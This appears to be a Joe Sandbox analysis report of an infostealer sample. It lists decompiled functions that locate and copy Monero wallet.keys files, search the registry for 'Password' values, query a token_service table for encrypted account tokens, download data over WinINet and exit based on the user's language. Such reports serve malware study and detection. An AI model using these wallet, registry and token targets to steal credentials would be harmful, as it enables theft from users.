Part of subcall function 00C412A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C412B4
Part of subcall function 00C412A0: RtlAllocateHeap.NTDLL(00000000), ref: 00C412BB
Part of subcall function 00C412A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00C412D7
Part of subcall function 00C412A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00C412F5
Part of subcall function 00C412A0: RegCloseKey.ADVAPI32(?), ref: 00C412FF

lstrcat.KERNEL32(?,00000000), ref: 00C4134F
lstrlen.KERNEL32(?), ref: 00C4135C
lstrcat.KERNEL32(?,.keys), ref: 00C41377

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C58B60: GetSystemTime.KERNEL32(00C60E1A,0089C2B8,00C605AE,?,?,00C413F9,?,0000001A,00C60E1A,00000000,?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C58B86

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00C41465

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C499EC
Part of subcall function 00C499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C49A11
Part of subcall function 00C499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C49A31
Part of subcall function 00C499C0: ReadFile.KERNEL32(000000FF,?,00000000,00C4148F,00000000), ref: 00C49A5A
Part of subcall function 00C499C0: LocalFree.KERNEL32(00C4148F), ref: 00C49A90
Part of subcall function 00C499C0: CloseHandle.KERNEL32(000000FF), ref: 00C49A9A

DeleteFileA.KERNEL32(00000000), ref: 00C414EF

Strings

\Monero\wallet.keys, xrefs: 00C4138D
wallet_path, xrefs: 00C41330
.keys, xrefs: 00C4136B
SOFTWARE\monero-project\monero-core, xrefs: 00C41335

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 3d1d9ea3c0c50558c7e83ebfa2192bc73457ce3b053c5b49d1083c2f4d35d529
Instruction ID: 5c7a932619649ac11790dc6df7c38845c2bd15d92dfa479f6204c0e51dfc0812
Opcode Fuzzy Hash: 3d1d9ea3c0c50558c7e83ebfa2192bc73457ce3b053c5b49d1083c2f4d35d529
Instruction Fuzzy Hash: 5B5154B5D501185BDB15EB61DC92BED733CAF54301F4042A8BA0A62081EE306BCDDFAA

Function 00C475D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C472D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00C4733A
Part of subcall function 00C472D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00C473B1
Part of subcall function 00C472D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00C4740D
Part of subcall function 00C472D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00C47452
Part of subcall function 00C472D0: HeapFree.KERNEL32(00000000), ref: 00C47459

lstrcat.KERNEL32(00000000,00C617FC), ref: 00C47606
lstrcat.KERNEL32(00000000,00000000), ref: 00C47648
lstrcat.KERNEL32(00000000, : ), ref: 00C4765A
lstrcat.KERNEL32(00000000,00000000), ref: 00C4768F
lstrcat.KERNEL32(00000000,00C61804), ref: 00C476A0
lstrcat.KERNEL32(00000000,00000000), ref: 00C476D3
lstrcat.KERNEL32(00000000,00C61808), ref: 00C476ED
task.LIBCPMTD ref: 00C476FB

Strings

: , xrefs: 00C4764E

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 8ceb89b22a456c9a589a498520454477da9214844eb962b4c0d4e3e1437be922
Instruction ID: 1048d8626bc895c8001f8b8aa44e98b911afd33100e26d4b0af66f1b97439f7b
Opcode Fuzzy Hash: 8ceb89b22a456c9a589a498520454477da9214844eb962b4c0d4e3e1437be922
Instruction Fuzzy Hash: 633162B1900109DFDB08EBB5DC8ADFE7375FB44302B184129F506B7191EB34A94AEB61

Function 00C58100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008A00D8,00000000,?,00C60E2C,00000000,?,00000000), ref: 00C58130
RtlAllocateHeap.NTDLL(00000000), ref: 00C58137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00C58158
__aulldiv.LIBCMT ref: 00C58172
__aulldiv.LIBCMT ref: 00C58180
wsprintfA.USER32 ref: 00C581AC

Strings

%d MB, xrefs: 00C581A3
@, xrefs: 00C5814D

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: f8d362ce684e81e20e279c0a23ca530ea8f7c56e2fe1900d10d0efcf1123c082
Instruction ID: 287d0aa0f5d020ba287b6ffb25fa060a5ae81912c689cc739fea2ccfb5baf56e
Opcode Fuzzy Hash: f8d362ce684e81e20e279c0a23ca530ea8f7c56e2fe1900d10d0efcf1123c082
Instruction Fuzzy Hash: 23213BB1E44208ABEB10DFD5CC49FAFB7B8FB44B01F104119F605BB280D77859498BA9

Function 00C460A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C44839
Part of subcall function 00C447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C44849

InternetOpenA.WININET(00C60DF7,00000001,00000000,00000000,00000000), ref: 00C4610F
StrCmpCA.SHLWAPI(?,008A0610), ref: 00C46147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00C4618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00C461B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00C461DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00C4620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00C46249
InternetCloseHandle.WININET(?), ref: 00C46253
InternetCloseHandle.WININET(00000000), ref: 00C46260

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 658d10da7c7c9f897bc9fa57b9c6f52d7bf9351403f1bfeab17ab330a9e6bfdc
Instruction ID: 17fbc3c4e6daa1678b7d8f688bb1cfa630c2376f252c0b0af388daa77cc84a50
Opcode Fuzzy Hash: 658d10da7c7c9f897bc9fa57b9c6f52d7bf9351403f1bfeab17ab330a9e6bfdc
Instruction Fuzzy Hash: C35171B1900208AFEB20DF61DC45BEE7778FB04701F1081A9B609B71C4DBB56A89DF96

Function 00C472D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00C4733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00C473B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00C4740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00C47452
HeapFree.KERNEL32(00000000), ref: 00C47459
task.LIBCPMTD ref: 00C47555

Strings

Password, xrefs: 00C47401

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: ee6a3a6680672f1d57cd4a39d76985c5f0b0ea8886ca82d61dc703356372a540
Instruction ID: c92715bf75b6cfaa8d0eaa6df06c493b3f4b1248a69f1d1cb02465b2a9a37287
Opcode Fuzzy Hash: ee6a3a6680672f1d57cd4a39d76985c5f0b0ea8886ca82d61dc703356372a540
Instruction Fuzzy Hash: 5A611CB59141689BDB24DB50CC45BEEB7B8BF44300F0482E9E649A6141DFB05FC9DFA1

Function 00C4BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

lstrlen.KERNEL32(00000000), ref: 00C4BC9F

Part of subcall function 00C58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C58E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00C4BCCD
lstrlen.KERNEL32(00000000), ref: 00C4BDA5
lstrlen.KERNEL32(00000000), ref: 00C4BDB9

Strings

AccountTokens, xrefs: 00C4BABA
AccountTokens, xrefs: 00C4BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00C4BBEB
AccountId, xrefs: 00C4BCC4

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 2feafb79ffe67a0c408f58fcaba1926669f7b2c33b51bc3f8fc06eecd80eac37
Instruction ID: 669cdf20eff9b473f16aa133f15864c74aec820327530ad87e08781e47a73c17
Opcode Fuzzy Hash: 2feafb79ffe67a0c408f58fcaba1926669f7b2c33b51bc3f8fc06eecd80eac37
Instruction Fuzzy Hash: 89B150759101089BDB14EBA1CC96EEE7338BF54302F444269F906B2191EF346E8DEB66

Function 00C56770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00C56774
ExitProcess.KERNEL32 ref: 00C567A5
ExitProcess.KERNEL32 ref: 00C567AF
ExitProcess.KERNEL32 ref: 00C567B9
ExitProcess.KERNEL32 ref: 00C567C3
ExitProcess.KERNEL32 ref: 00C567CD

Strings

*, xrefs: 00C5678C

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f9d90880eb01b7b61ee1545441443ab6a3b5aa6b67e6adda5dba22b8ba2029c6
Instruction ID: b325016ee68c54c5fc094fab0e4deb04cd9161abe2c36bdeb7cf649d6ce5e808
Opcode Fuzzy Hash: f9d90880eb01b7b61ee1545441443ab6a3b5aa6b67e6adda5dba22b8ba2029c6
Instruction Fuzzy Hash: 67F08934904209EFE3449FE1E90972C7B70FB08703F0801ABF60DA7290D6754B85EB96

Function 00C44FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00C44FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00C44FD1
InternetOpenA.WININET(00C60DDF,00000000,00000000,00000000,00000000), ref: 00C44FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00C45011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00C45041
InternetCloseHandle.WININET(?), ref: 00C450B9
InternetCloseHandle.WININET(?), ref: 00C450C6

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 7d38e18293d59a7d22bda52ae20b3011e3628c4ca4698a0c45ae5c6f7c3e53e9
Instruction ID: 5ca092b3b12aa23880974b86ea9e7f1093c330cf754185002d7ce4b392d646c1
Opcode Fuzzy Hash: 7d38e18293d59a7d22bda52ae20b3011e3628c4ca4698a0c45ae5c6f7c3e53e9
Instruction Fuzzy Hash: 5E3106B4A00218ABDB20CF55DC85BDDB7B4FB48704F5081E9EA09B7281D7706EC99F99

Function 00C583DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00C58426
wsprintfA.USER32 ref: 00C58459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00C5847B
RegCloseKey.ADVAPI32(00000000), ref: 00C5848C
RegCloseKey.ADVAPI32(00000000), ref: 00C58499

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

RegQueryValueExA.ADVAPI32(00000000,008A0000,00000000,000F003F,?,00000400), ref: 00C584EC
lstrlen.KERNEL32(?), ref: 00C58501
RegQueryValueExA.ADVAPI32(00000000,0089FF40,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00C60B34), ref: 00C58599
RegCloseKey.ADVAPI32(00000000), ref: 00C58608
RegCloseKey.ADVAPI32(00000000), ref: 00C5861A

Strings

%s\%s, xrefs: 00C5844D

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 98d7546e327cbaaa89224797ac3b4d76885264f9de6982ce038ed3293366bccd
Instruction ID: 9fe61e4ff0df24f882487acf3a0abb3ed00495cb01e3a9497c35cb63d0046267
Opcode Fuzzy Hash: 98d7546e327cbaaa89224797ac3b4d76885264f9de6982ce038ed3293366bccd
